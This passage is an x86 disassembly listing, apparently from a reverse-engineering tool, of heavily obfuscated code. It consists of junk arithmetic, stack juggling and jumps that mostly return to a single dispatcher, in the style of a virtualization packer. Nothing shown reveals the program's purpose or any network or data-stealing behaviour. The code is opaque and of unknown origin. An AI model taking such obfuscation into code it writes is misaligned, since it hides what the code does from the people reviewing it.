		pop	dword ptr [esp]
		jmp	loc_57A2F4
; ---------------------------------------------------------------------------


loc_57959A:				; CODE XREF: ud2_____:0057AEC3j
		mov	dx, 5927h
		add	ax, dx
		jmp	loc_57D9B0
; ---------------------------------------------------------------------------


loc_5795A6:				; CODE XREF: ud2_____:005753C3j
		pop	eax
		add	edx, 0DDA329Bh
		xor	edx, 1F504637h
		jmp	loc_5767E4
; ---------------------------------------------------------------------------


loc_5795B8:				; CODE XREF: ud2_____:00576B02j
		sub	al, 9Eh
		pop	ebx
		sub	al, bl
		push	ebx
		mov	bh, 4Bh
		not	bh
		not	bh
		or	bh, 35h
		jmp	loc_579EAB
; ---------------------------------------------------------------------------


loc_5795CC:				; CODE XREF: ud2_____:0057603Ej
		sub	ecx, 535412A2h
		add	ebp, ecx
		jmp	loc_57C47A
; ---------------------------------------------------------------------------


loc_5795D9:				; CODE XREF: ud2_____:005754C7j
		sub	eax, 52C12BB2h
		add	eax, 0DA69A7h
		sub	eax, 1FE87C81h
		jmp	loc_576749
; ---------------------------------------------------------------------------


loc_5795ED:				; CODE XREF: ud2_____:0057D0A3j
		add	ecx, 1FA9217Ch
		jmp	loc_57CD84
; ---------------------------------------------------------------------------


loc_5795F8:				; CODE XREF: ud2_____:00577B4Aj
		inc	ebp
		push	eax
		mov	eax, 4A594E6Ah
		and	ebp, eax
		jmp	loc_57B013
; ---------------------------------------------------------------------------


loc_579606:				; CODE XREF: ud2_____:00577A8Fj
		xchg	edi, [esp]
		jmp	loc_57571F
; ---------------------------------------------------------------------------


loc_57960E:				; CODE XREF: ud2_____:0057B589j
		shl	eax, 5
		add	eax, 55A535DFh
		jmp	loc_573837
; ---------------------------------------------------------------------------


loc_57961B:				; CODE XREF: ud2_____:0057BB35j
		add	esi, 5AD73E45h
		jmp	loc_573F91
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5735E2
; ---------------------------------------------------------------------------


loc_57962F:				; CODE XREF: ud2_____:0057978Cj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_57B3F7
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		jmp	loc_579D33
; ---------------------------------------------------------------------------


loc_579645:				; CODE XREF: ud2_____:0057C6D5j
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 1F8A04FCh
		jmp	loc_57D353
; ---------------------------------------------------------------------------


loc_57965F:				; CODE XREF: ud2_____:0057CA71j
		push	ebx
		mov	bh, 0A4h
		sub	cl, bh
		pop	ebx
		jmp	loc_579330
; ---------------------------------------------------------------------------


loc_57966A:				; CODE XREF: ud2_____:005770F8j
		mov	eax, 36A3555Eh
		jmp	loc_57C750
; ---------------------------------------------------------------------------


loc_579674:				; CODE XREF: ud2_____:00578271j
		add	dword ptr [esp+4], 41403D55h
		mov	eax, [esp]
		push	7DD8h
		jmp	loc_5728D1
; ---------------------------------------------------------------------------


loc_579689:				; CODE XREF: ud2_____:0057D750j
		mov	[esp], ecx
		jmp	loc_5770DF
; ---------------------------------------------------------------------------


loc_579691:				; CODE XREF: ud2_____:0057C139j
		sub	esi, ecx
		add	esi, 26603891h
		pop	ecx
		add	esi, eax
		add	esi, 70EB01FFh
		push	ecx
		mov	ecx, 76F16256h
		sub	esi, 75593CC6h
		sub	esi, 2AA10F95h
		sub	esi, ecx
		add	esi, 2AA10F95h
		push	ebp
		mov	ebp, 0DA260AEh
		push	ebp
		not	dword ptr [esp]
		jmp	loc_57A950
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		push	1F4Ch
		mov	[esp], ebx
		mov	ebx, 4FAE58F9h
		add	ebx, 0C1A2557h
		inc	ebx
		inc	ebx
		or	ebx, 185D467Bh
		push	eax
		mov	eax, 76205F03h
		push	esi
		jmp	loc_579D67
; ---------------------------------------------------------------------------


loc_5796F9:				; CODE XREF: ud2_____:0057975Ej
		mov	ebx, 25A95814h
		shr	ebx, 1
		shl	ebx, 3
		sub	ebx, 16F434Ah
		push	edx
		jmp	loc_57BC5C
; ---------------------------------------------------------------------------


loc_57970F:				; CODE XREF: ud2_____:0057C45Fj
		and	ecx, 2A1032B1h
		push	ebp
		mov	ebp, 7F727717h
		sub	ecx, 2E86294Eh
		add	ecx, ebp
		add	ecx, 2E86294Eh
		pop	ebp
		or	ecx, 6CAB597Ah
		sub	ecx, 0EDABD97Bh
		sub	ebp, 110A719Bh
		jmp	loc_57859D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		jmp	loc_57ABA9
; ---------------------------------------------------------------------------


loc_579749:				; CODE XREF: ud2_____:0057A0A6j
		add	edi, 50BB7A8Ah
		pop	eax
		std
		sub	esp, 4
		jmp	loc_579F33
; ---------------------------------------------------------------------------


loc_579759:				; CODE XREF: ud2_____:0057B104j
		inc	esi
		shr	esi, 8
		push	ebx
		jmp	loc_5796F9
; ---------------------------------------------------------------------------


loc_579763:				; CODE XREF: ud2_____:00576B30j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57977F:				; CODE XREF: ud2_____:0057A5CFj
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	eax, edx
		add	eax, 595924FCh
		jmp	loc_57962F
; ---------------------------------------------------------------------------


loc_579791:				; CODE XREF: ud2_____:0057B6BEj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	583Ch
		mov	[esp], esi
		jmp	loc_575A74
; ---------------------------------------------------------------------------


loc_5797AF:				; CODE XREF: ud2_____:00575B11j
		shl	esi, 5
		push	ebx
		mov	ebx, 0C7066BB8h
		xor	esi, ebx
		jmp	loc_576201
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_5797BF:				; CODE XREF: sub_59C59F-28818j
		pop	ecx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		jmp	loc_575E9E
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_5797CE:				; CODE XREF: ud2_____:0057D9B4j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 2
		jmp	loc_574443
; ---------------------------------------------------------------------------


loc_5797E2:				; CODE XREF: ud2_____:00579CFEj
		add	bl, 24h
		jmp	loc_57C3A4
; ---------------------------------------------------------------------------


loc_5797EA:				; CODE XREF: ud2_____:0057B644j
		pop	ecx
		push	ecx
		jmp	loc_57A2CB
; ---------------------------------------------------------------------------


loc_5797F1:				; CODE XREF: ud2_____:0057219Fj
		mov	eax, esp
		jmp	loc_5743F2
; ---------------------------------------------------------------------------


loc_5797F8:				; CODE XREF: ud2_____:00571D01j
		mov	ecx, [esp]
		add	esp, 4
		add	edx, ebx
		mov	ebx, [esp]
		push	0AF5h
		mov	[esp], edx
		jmp	loc_574433
; ---------------------------------------------------------------------------


loc_579813:				; CODE XREF: ud2_____:0057395Cj
		mov	[esp], ebp
		push	edi
		push	0FB52126h
		pop	edi
		shr	edi, 2
		push	esi
		mov	esi, 5A800622h
		neg	esi
		shl	esi, 3
		sub	esp, 4
		jmp	loc_57AB34
; ---------------------------------------------------------------------------


loc_579836:				; CODE XREF: ud2_____:0057D095j
		mov	esp, [esp]
		push	1B7Fh
		jmp	loc_575C38
; ---------------------------------------------------------------------------


loc_579843:				; CODE XREF: ud2_____:0057B12Fj
		add	ebp, ebx
		pop	ebx
		push	ebp
		mov	eax, [esp]
		jmp	loc_574DEE
; ---------------------------------------------------------------------------


loc_57984F:				; CODE XREF: ud2_____:0057CB1Bj
		mov	[esp], edi
		push	11F2h
		mov	[esp], esi
		push	4C6575C1h
		pop	esi
		add	esi, 29A37C40h
		push	edi
		mov	edi, 2A17203h
		add	edi, 29E75991h
		jmp	loc_574FBB
; ---------------------------------------------------------------------------


loc_579877:				; CODE XREF: ud2_____:0057203Cj
		pop	edi
		sub	edi, 390A322Ah
		jmp	loc_57658D
; ---------------------------------------------------------------------------


loc_579883:				; CODE XREF: ud2_____:00576FECj
		sub	ebx, ebp
		pop	ebp
		sub	eax, 2A8132ADh
		add	eax, ebx
		add	eax, 2A8132ADh
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		mov	eax, [esp]
		push	eax
		push	esp
		jmp	loc_572E06
; ---------------------------------------------------------------------------


loc_5798A1:				; CODE XREF: ud2_____:00576F8Fj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_573E66
; ---------------------------------------------------------------------------


loc_5798AF:				; CODE XREF: ud2_____:00573A11j
		push	esi
		mov	esi, 273EFAEFh
		add	edx, esi
		jmp	loc_57CD3C
; ---------------------------------------------------------------------------


loc_5798BC:				; CODE XREF: ud2_____:005737DCj
		push	esi
		mov	esi, 79312B10h
		jmp	loc_57249C
; ---------------------------------------------------------------------------


loc_5798C7:				; CODE XREF: ud2_____:0057A931j
		push	esp
		jmp	loc_57CF70
; ---------------------------------------------------------------------------


loc_5798CD:				; CODE XREF: ud2_____:00576EB5j
		mov	edx, 0F0A1A75h
		xor	ecx, edx
		pop	edx
		push	esi
		mov	esi, 3B271565h
		sub	ecx, esi
		pop	esi
		jmp	loc_576071
; ---------------------------------------------------------------------------


loc_5798E3:				; CODE XREF: ud2_____:0057B26Cj
		sub	cl, dl
		mov	edx, [esp]
		add	esp, 4
		mov	dl, cl
		pop	ecx
		add	al, 26h
		sub	al, dl
		push	bx
		push	edx
		mov	dl, 8Bh
		shr	dl, 1
		jmp	loc_576C21
; ---------------------------------------------------------------------------


loc_579901:				; CODE XREF: ud2_____:005733DEj
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_57B424
; ---------------------------------------------------------------------------


loc_57990E:				; CODE XREF: ud2_____:00573436j
		mov	esp, [esp]
		jmp	loc_57A437
; ---------------------------------------------------------------------------


loc_579916:				; CODE XREF: ud2_____:00578281j
		add	edi, esi
		sub	edi, 511A773Ah
		jmp	loc_5791FB
; ---------------------------------------------------------------------------


loc_579923:				; CODE XREF: ud2_____:00579371j
		xor	ebx, 4DF03388h
		add	ecx, ebx
		pop	ebx
		jmp	loc_57D09A
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_571BD9
; ---------------------------------------------------------------------------


loc_579938:				; CODE XREF: ud2_____:0057743Dj
		mov	ecx, 69A1558Eh
		xor	ecx, 0D616A751h
		jmp	loc_574D31
; ---------------------------------------------------------------------------


loc_579948:				; CODE XREF: ud2_____:0057B054j
		pop	edx
		pop	ecx
		jmp	loc_578CCD
; ---------------------------------------------------------------------------


loc_57994F:				; CODE XREF: ud2_____:00573C93j
		mov	edx, 3F9D60F5h
		xor	[esp+4], edx
		pop	edx
		pop	ebx
		xor	ebx, 3F9D60F5h
		pop	edx
		jmp	loc_57362A
; ---------------------------------------------------------------------------


loc_579966:				; CODE XREF: ud2_____:0057B695j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	533Fh
		mov	[esp], ebp
		jmp	loc_5793CC
; ---------------------------------------------------------------------------


loc_579983:				; CODE XREF: ud2_____:0057D431j
		add	esp, 4
		dec	al
		shl	al, 5
		jmp	loc_57BB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_579990:				; CODE XREF: sub_59C59F-212CEj
		add	esp, 4
		xor	cl, 5Bh
		shl	cl, 4
		push	ebx
		mov	bh, 82h
		sub	bh, 0B8h
		sub	bh, 81h
		shl	bh, 5
		jmp	loc_57DA8E
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_5799AD:				; CODE XREF: ud2_____:00579060j
		xchg	edx, ebx
		jmp	loc_574589
; ---------------------------------------------------------------------------


loc_5799B4:				; CODE XREF: ud2_____:005740B9j
		push	edx
		mov	edx, 328B571Dh
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_57D310
; ---------------------------------------------------------------------------


loc_5799C4:				; CODE XREF: ud2_____:0057CE1Ej
		push	ebx
		push	edi
		mov	edi, 54C57952h
		jmp	loc_5727E0
; ---------------------------------------------------------------------------


loc_5799D0:				; CODE XREF: ud2_____:0057AA73j
		add	eax, 4
		add	eax, 4
		jmp	loc_57B7DB
; ---------------------------------------------------------------------------


loc_5799DF:				; CODE XREF: ud2_____:0057629Bj
		mov	[esp], ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_571DCC
; ---------------------------------------------------------------------------


loc_5799F7:				; CODE XREF: ud2_____:00579333j
		dec	cl
		jmp	loc_578C53
; ---------------------------------------------------------------------------


loc_5799FE:				; CODE XREF: ud2_____:00572A6Dj
		mov	ecx, 404B4A93h
		push	esi
		mov	esi, 1037FF9h
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_576A6B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	60BAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_572BE2
; ---------------------------------------------------------------------------


loc_579A29:				; CODE XREF: ud2_____:00576D61j
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	26D6h
		mov	[esp], ebx
		push	edx
		mov	edx, 2F2758E7h
		mov	ebx, 2F275AE7h
		add	ebx, 1595796Fh
		sub	ebx, edx
		jmp	loc_57D129
; ---------------------------------------------------------------------------


loc_579A52:				; CODE XREF: ud2_____:00573344j
		or	al, 2Fh
		push	edx
		mov	dl, al
		not	dl
		mov	al, dl
		jmp	loc_577376
; ---------------------------------------------------------------------------


loc_579A60:				; CODE XREF: ud2_____:0057527Cj
		mov	[esp], ebx
		push	4
		mov	ebx, [esp]
		jmp	loc_57B865
; ---------------------------------------------------------------------------


loc_579A70:				; CODE XREF: ud2_____:005772EEj
		pop	esp
		mov	[esp], edi
		mov	edi, 4C295DC1h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_577DA4
; ---------------------------------------------------------------------------


loc_579A89:				; CODE XREF: ud2_____:00578CD8j
		sub	ah, 0B8h
		add	ah, 0A6h
		jmp	loc_576820
; ---------------------------------------------------------------------------


loc_579A94:				; CODE XREF: ud2_____:005787A9j
		mov	ebx, edx
		jmp	loc_5729C4
; ---------------------------------------------------------------------------


loc_579A9B:				; CODE XREF: ud2_____:0057B6DDj
		xor	ecx, ebx
		jmp	loc_57BA0E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_579AB1:				; CODE XREF: ud2_____:00579299j
		mov	edx, ebp
		jmp	loc_5750A6
; ---------------------------------------------------------------------------


loc_579AB8:				; CODE XREF: ud2_____:00576D56j
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_579050
; ---------------------------------------------------------------------------


loc_579ADB:				; CODE XREF: ud2_____:00571FC2j
		sub	bl, 0Fh
		jmp	loc_5777BB
; ---------------------------------------------------------------------------


loc_579AE3:				; CODE XREF: ud2_____:00576E5Fj
		mov	ebx, 7CA913B3h
		sub	edx, 6F5D0313h
		jmp	loc_57DAFD
; ---------------------------------------------------------------------------


loc_579AF3:				; CODE XREF: ud2_____:0057C401j
		pop	edx
		add	edx, 3E403B1h
		sub	edx, ebp
		sub	edx, 3E403B1h
		jmp	loc_57360E
; ---------------------------------------------------------------------------


loc_579B07:				; CODE XREF: ud2_____:00571B97j
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_57343B
; ---------------------------------------------------------------------------


loc_579B12:				; CODE XREF: ud2_____:0057C2F2j
		mov	edi, [esp]
		add	esp, 4
		and	[edi+1Ch], edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_571B2A
; ---------------------------------------------------------------------------


loc_579B29:				; CODE XREF: ud2_____:0057CEB9j
		pop	dword ptr [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_579B37:				; CODE XREF: ud2_____:0057C55Cj
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, edi
		add	edx, 760B52B5h
		jmp	loc_573EE7
; ---------------------------------------------------------------------------


loc_579B4C:				; CODE XREF: ud2_____:0057570Dj
		add	ecx, 12DE0B7Eh
		push	ebp
		mov	ebp, 4B543C83h
		or	ebp, 2EC973EFh
		not	ebp
		and	ebp, 2534206Bh
		add	ebp, 121D22A6h
		xor	ebp, 4DC6C41h
		or	ecx, ebp
		pop	ebp
		neg	ecx
		sub	ecx, 41068FFDh
		mov	edx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 54AF18B2h
		jmp	loc_576BF2
; ---------------------------------------------------------------------------


loc_579B8B:				; CODE XREF: ud2_____:0057DB3Bj
		pop	esp
		mov	ecx, [esp]
		push	edi
		push	1386h
		push	esp
		jmp	loc_573AE4
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 24F3h
		mov	[esp], ax
		jmp	loc_57BD69
; ---------------------------------------------------------------------------


loc_579BAC:				; CODE XREF: ud2_____:005791C2j
		push	edx
		jmp	loc_578ABF
; ---------------------------------------------------------------------------


loc_579BB2:				; CODE XREF: ud2_____:00578389j
		push	edi
		jmp	loc_57CA89
; ---------------------------------------------------------------------------


loc_579BB8:				; CODE XREF: ud2_____:0057A319j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_5755FE
; ---------------------------------------------------------------------------


loc_579BD3:				; CODE XREF: ud2_____:005785E8j
		xor	eax, esi
		xor	esi, eax
		xchg	eax, esi
		not	esi
		jmp	loc_5735A2
; ---------------------------------------------------------------------------


loc_579BDF:				; CODE XREF: ud2_____:00573B0Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5776B3
; ---------------------------------------------------------------------------


loc_579BF3:				; CODE XREF: ud2_____:00577943j
		shr	ebx, 2
		and	ebx, 4BB4F21h
		add	ebx, 0FF4FF704h
		sub	edi, 3F2022BBh
		jmp	loc_5732E2
; ---------------------------------------------------------------------------


loc_579C0D:				; CODE XREF: ud2_____:00578033j
		push	ebp
		push	4
		pop	ebp
		jmp	loc_576AB0
; ---------------------------------------------------------------------------


loc_579C19:				; CODE XREF: ud2_____:00577F5Fj
		add	esp, 4
		add	edi, 4
		push	4B3Dh
		jmp	loc_578F98
; ---------------------------------------------------------------------------


loc_579C2F:				; CODE XREF: ud2_____:00573C52j
		sub	ax, 3636h
		pop	ecx
		jmp	loc_5736A0
; ---------------------------------------------------------------------------


loc_579C39:				; CODE XREF: ud2_____:005751DBj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_571F46
; ---------------------------------------------------------------------------


loc_579C45:				; CODE XREF: ud2_____:0057AF21j
		add	bl, 9Ch
		jmp	loc_57B1F4
; ---------------------------------------------------------------------------


loc_579C4D:				; CODE XREF: ud2_____:00574D7Cj
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_575E06
; ---------------------------------------------------------------------------


loc_579C6F:				; CODE XREF: ud2_____:0057B21Bj
		pop	ebx
		add	al, bl
		add	al, 76h
		jmp	loc_574100
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		push	esi
		jmp	loc_572783
; ---------------------------------------------------------------------------


loc_579C8C:				; CODE XREF: ud2_____:0057DCEAj
		push	eax
		jmp	loc_5770D2
; ---------------------------------------------------------------------------


loc_579C92:				; CODE XREF: ud2_____:0057AB21j
		sub	esp, 4
		jmp	loc_57C40C
; ---------------------------------------------------------------------------


loc_579C9A:				; CODE XREF: ud2_____:0057D844j
		push	esi
		mov	esi, 575C7495h
		or	esi, 2DB11CB9h
		add	esi, 0E06CD6DBh
		add	ebx, esi
		jmp	loc_574E1F
; ---------------------------------------------------------------------------


loc_579CB3:				; CODE XREF: ud2_____:0057BD0Fj
		shr	eax, 6
		and	eax, 3DB3524Ah
		sub	eax, 64A578D2h
		sub	eax, 2A9A9992h
		jmp	loc_57CFD7
; ---------------------------------------------------------------------------


loc_579CCA:				; CODE XREF: ud2_____:00579FC7j
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_579CD3:				; CODE XREF: ud2_____:0057CC98j
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 8444F54h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------


loc_579CE2:				; CODE XREF: ud2_____:0057833Dj
		mov	[esp], eax
		jmp	loc_571F0B
; ---------------------------------------------------------------------------


loc_579CEA:				; CODE XREF: ud2_____:005782F2j
		inc	ebx
		add	ebx, 4BEF154Dh
		neg	ebx
		jmp	loc_57CAEF
; ---------------------------------------------------------------------------


loc_579CF8:				; CODE XREF: ud2_____:0057BFFEj
		pop	edx
		add	esp, 4
		sub	bl, al
		jmp	loc_5797E2
; ---------------------------------------------------------------------------


loc_579D03:				; CODE XREF: ud2_____:00578109j
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 2
		jmp	loc_575C7D
; ---------------------------------------------------------------------------


loc_579D14:				; CODE XREF: ud2_____:00578760j
		push	ecx
		mov	cl, 88h
		push	eax
		mov	al, 44h
		push	edx
		mov	dh, 0D8h
		push	ecx
		mov	ch, 0F9h
		xor	ch, 78h
		xor	ch, 5
		sub	dh, ch
		pop	ecx
		add	dh, 0ADh
		sub	al, dh
		jmp	loc_57D42E
; ---------------------------------------------------------------------------


loc_579D33:				; CODE XREF: ud2_____:00579640j
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 10804BD4h
		add	ebx, 21EB5F37h
		not	ebx
		inc	ebx
		shl	ebx, 4
		or	ebx, 0FD10AF1h
		neg	ebx
		add	ebx, 0DFD54FF5h
		mov	edi, ebx
		pop	ebx
		jmp	loc_576CB5
; ---------------------------------------------------------------------------


loc_579D67:				; CODE XREF: ud2_____:005796F4j
		mov	esi, 8167CA2h
		and	esi, 18673A51h
		and	esi, 37252E70h
		add	esi, 63A7E022h
		sub	eax, esi
		pop	esi
		and	eax, 73EB7C83h
		add	eax, 31A43A8Eh
		or	eax, 6ECF6981h
		push	ecx
		mov	ecx, 355291FAh
		add	eax, ecx
		pop	ecx
		add	ebx, eax
		pop	eax
		jmp	loc_574AB2
; ---------------------------------------------------------------------------


loc_579DA1:				; CODE XREF: ud2_____:00575F4Fj
		add	esp, 4
		push	ecx
		mov	ecx, 1B2B6B09h
		add	ecx, 2F15053Bh
		inc	ecx
		add	ecx, 0B5BF8FBFh
		add	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 0C056F7Ch
		not	edi
		shr	edi, 2
		jmp	loc_57B683
; ---------------------------------------------------------------------------


loc_579DCD:				; CODE XREF: ud2_____:0057BCF8j
		mov	[esp], ebp
		mov	ebp, 36A041C8h
		and	ebp, 11843337h
		push	edi
		mov	edi, 72BE1B60h
		jmp	loc_573DFD
; ---------------------------------------------------------------------------


loc_579DE6:				; CODE XREF: ud2_____:00574A83j
		mov	ebp, [esp]
		add	esp, 4
		dec	ecx
		or	ecx, 75517EC0h
		push	3714h
		mov	[esp], edx
		mov	edx, 39B7056Dh
		xor	ecx, edx
		pop	edx
		and	ebx, ecx
		pop	ecx
		jmp	loc_57B18F
; ---------------------------------------------------------------------------


loc_579E0B:				; CODE XREF: ud2_____:00571B89j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5785CB
; ---------------------------------------------------------------------------


loc_579E18:				; CODE XREF: ud2_____:0057772Aj
		sub	dl, 4Fh
		add	bh, dl
		jmp	loc_571ADA
; ---------------------------------------------------------------------------


loc_579E22:				; CODE XREF: ud2_____:0057410Fj
		sub	edi, 9FA0D7Eh
		add	edi, 759D7799h
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_572E5D
; ---------------------------------------------------------------------------


loc_579E3D:				; CODE XREF: ud2_____:005783EEj
		xor	edx, 745DDB8h
		add	eax, edx
		pop	edx
		add	eax, 2B2C7BF0h
		sub	eax, edx
		sub	eax, 2B2C7BF0h
		sub	eax, 56CC0F80h
		pop	edx
		sub	eax, ebx
		add	eax, 38E6774Eh
		push	5FE3h
		mov	[esp], edx
		push	ebx
		mov	ebx, 0CCA1DBFh
		sub	ebx, 38F96FC2h
		shl	ebx, 6
		push	ebp
		jmp	loc_57DB50
; ---------------------------------------------------------------------------


loc_579E7C:				; CODE XREF: ud2_____:0057745Cj
		mov	[esp], ecx
		push	2C247012h
		jmp	loc_57B984
; ---------------------------------------------------------------------------


loc_579E89:				; CODE XREF: ud2_____:005732E4j
		push	edx
		jmp	loc_57BC9F
; ---------------------------------------------------------------------------


loc_579E8F:				; CODE XREF: ud2_____:00576CE0j
		mov	esi, esp
		jmp	loc_577FA0
; ---------------------------------------------------------------------------


loc_579E96:				; CODE XREF: ud2_____:00574864j
		push	edi
		push	ecx
		push	2
		pop	ecx
		mov	edi, ecx
		pop	ecx
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_571E24
; ---------------------------------------------------------------------------


loc_579EAB:				; CODE XREF: ud2_____:005795C7j
		xor	bh, 66h
		jmp	loc_5791ED
; ---------------------------------------------------------------------------


loc_579EB3:				; CODE XREF: ud2_____:00577834j
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		push	4
		pop	ebp
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	3D1Ah
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_57DB1F
; ---------------------------------------------------------------------------


loc_579EE0:				; CODE XREF: ud2_____:00577E25j
		pop	cx
		sub	bl, al
		add	bl, 12h
		push	719Bh
		mov	[esp], ecx
		mov	ch, 8Ah
		sub	bl, ch
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_579EFF:				; CODE XREF: ud2_____:005771F7j
		add	edi, 7747531h
		sub	edi, 7E957D7h
		xor	edi, 8BD43C42h
		jmp	loc_573926
; ---------------------------------------------------------------------------


loc_579F16:				; CODE XREF: ud2_____:00574330j
		pop	esp
		mov	[esp], edx
		jmp	loc_57A4C3
; ---------------------------------------------------------------------------


loc_579F1F:				; CODE XREF: ud2_____:0057408Ej
		add	edi, 1
		or	edi, 9550EB8h
		sub	edi, 4C5837F9h
		jmp	loc_57B60F
; ---------------------------------------------------------------------------


loc_579F33:				; CODE XREF: ud2_____:00579754j
		mov	[esp], edi
		jmp	loc_5742A7
; ---------------------------------------------------------------------------


loc_579F3B:				; CODE XREF: ud2_____:00576CD6j
		pop	esi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_571AAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_579F45:				; CODE XREF: sub_59C59F-1EB05j
		sub	bh, al
		sub	bh, 42h
		mov	eax, [esp+0]
		jmp	loc_57B27E
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_579F52:				; CODE XREF: ud2_____:00575331j
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_573853
; ---------------------------------------------------------------------------


loc_579F5C:				; CODE XREF: ud2_____:005730E6j
		mov	esi, esp
		add	esi, 4
		push	eax
		push	ecx
		mov	ecx, 34552AD3h
		mov	eax, 34552AD7h
		jmp	loc_579FCC
; ---------------------------------------------------------------------------


loc_579F75:				; CODE XREF: ud2_____:0057D9DEj
		xor	edi, 46810DF8h
		add	edx, edi
		pop	edi
		jmp	loc_575A14
; ---------------------------------------------------------------------------


loc_579F83:				; CODE XREF: ud2_____:0057443Ej
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5767EF
; ---------------------------------------------------------------------------


loc_579F8C:				; CODE XREF: ud2_____:00571EDEj
		push	ecx
		push	eax
		jmp	loc_57918D
; ---------------------------------------------------------------------------


loc_579F93:				; CODE XREF: ud2_____:0057CE30j
		mov	ch, bl
		mov	ebx, [esp]
		add	esp, 4
		add	ch, 1Dh
		and	ch, 54h
		jmp	loc_57AF9C
; ---------------------------------------------------------------------------


loc_579FA6:				; CODE XREF: ud2_____:0057CAEAj
		add	esp, 2
		jmp	loc_5766A8
; ---------------------------------------------------------------------------


loc_579FAE:				; CODE XREF: ud2_____:0057445Cj
		mov	ecx, [esp]
		jmp	loc_577DC2
; ---------------------------------------------------------------------------


loc_579FB6:				; CODE XREF: ud2_____:0057549Cj
		push	2409h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_579CCA
; ---------------------------------------------------------------------------


loc_579FCC:				; CODE XREF: ud2_____:00579F70j
		xor	eax, ecx
		pop	ecx
		add	esi, eax
		jmp	loc_57227A
; ---------------------------------------------------------------------------


loc_579FD6:				; CODE XREF: ud2_____:00574C5Ej
		push	ecx
		mov	cl, 64h
		mov	al, 14h
		xor	al, cl
		pop	ecx
		inc	al
